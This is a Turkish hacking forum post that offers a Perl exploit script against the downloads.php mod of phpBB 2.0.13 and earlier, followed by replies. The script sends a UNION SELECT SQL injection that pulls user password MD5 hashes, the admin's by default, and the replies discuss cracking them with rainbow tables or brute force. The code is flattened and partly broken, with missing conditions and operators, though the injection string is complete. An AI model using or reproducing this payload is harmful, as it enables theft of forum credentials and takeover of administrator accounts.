#!/usr/bin/perl -w use IO::Socket; ## Example: ## C:\>phpbb. pl www.hack.com /phpBB2/ 2 ## /phpBB2/ userid=2 ## downloads. php mod in phpBB <= 2.0.13 ## ## Connecting... ## Connected! ## Sending Data... ## Data Sent, Waiting for response... ## MD5 Hash for user with id=2 is: 81dc9bdb52d04dc20036dbd8313ed055 ## if (@ARGV < 3) $take = 0; $success = 0; $server = $ARGV ; $folder = $ARGV ; $user_id = $ARGV ; print "\n downloads. php mod in phpBB <= 2.0.13\n"; print " \n"; print " Connecting...\n"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "$socket error $!"; print " Connected\n"; print " Sending Data...\n"; $path = "http://$server/"; $path.= "/$folder/"; $path.= "downloads. php?cat=-1%20UNION%20SELECT%200, user_password,0,0,0,0,0,0,0 %20FROM%20phpbb_users%20WHERE%20user_id=$user_id/ "; print $socket "GET $path HTTP/1.0\r\n\r\n"; print " Data Sent, Waiting for response...\n"; while { if ($take 1) $found = rindex ($answer,"downloads. php?view=detail&id=0&cat=0"); if ( $found > -1 ) } if ($success 0) ## EOF ## Çalışma mantığı:downlands. php den sql e sorgu gndererir.. ve attacker admin pass. ı md5 olarak çeker.. scrip kodun admini id numarasını 2 baz alarak sızıyor.. by CYB3R-SPY ]Batıl şeyleri tasvir etmek, safi zihinleri idlal eder

8 haneli alphanumeric bi md5 hash rainbow table ile 2 dakkada kırılabilir

bide perl linki verseydin dai ya

Rainbow table olayı dışında şifrede ascii karakterler yoksa ve fazla uzun değilse biraz sabırla brute yntemide işe yarayabilir. "><i>">sdad

tamam emeğine sağlık da bu md5 olayı bir lüm ha elli sene bekle yine çzemiyor direkt şifreyi ereninde olacağını zanetmiyorum ama yine de emeğine sağlık ;)

Combine bir password 6yı 7yi gectimi bunu md5 kırıcılarla kıramazsın 8 Haneli Password u kırmakta ayları yılları alırPek fazla umut baglamayın

Arkadaşlar verdiğim yolu tam yaptıktan sonra md5 hash için Rainbow table kullanabilrsiniz.. Zor olmyacağını düşünüyorum... ]Batıl şeyleri tasvir etmek, safi zihinleri idlal eder

1.13 için çok daha iyi exploitler var md5 işe yaramaz

Evet mevcut teknolojiyle aylarımızı alır.